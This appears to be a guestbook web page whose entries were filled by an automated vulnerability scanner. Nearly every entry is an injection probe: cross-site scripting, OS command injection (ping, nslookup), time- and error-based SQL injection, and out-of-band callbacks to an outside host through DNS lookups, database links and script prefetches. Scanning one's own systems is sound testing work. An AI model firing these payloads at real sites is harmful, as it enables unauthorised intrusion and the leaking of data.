\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB8

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB7

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[ns](javascript:netsparker(0x002A8F); \"nsmd\")

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A8B)+'

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A89);

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A87)

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -w 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x002A85),'

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\\';netsparker(0x002A83);///

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -w 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x002A81)+\"

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A7F)+'

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x002A7D);/*

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x002A7B))}

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x002A79));

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2;

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

1;expr 268409241 - 2;x

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';expr 268409241 - 2;'

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf\"\"ury.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd\"\"z1o.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic\"\"f8i.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu\"\"90e.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)\r\n

\r\n
\r\n

'&nslookup \"o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5\"\"fqe.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1\";expr 268409241 - 2;\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&nslookup \"o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye\"\"btw.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

&nslookup \"o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj\"\"oac.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x002A73)

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&nslookup \"o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3\"\"_iq.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL))))\r\n

\r\n
\r\n

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5\"\"g2w.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26\"\"lsu.r87.me\"

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\\\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\\\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\\\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\\\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\\\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL)\r\n

\r\n
\r\n

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\\\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n ';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz\"+\"lqw.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal\"+\"9om.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6C

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\\\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||'\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6B

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\\\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)\r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A6A

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric)\r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A69

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 ns=netsparker(0x002A5F)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\" ns=netsparker(0x002A5D)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n Guestbook.aspx\u0000\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n Guestbook.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7\" & \"32o.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1');SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

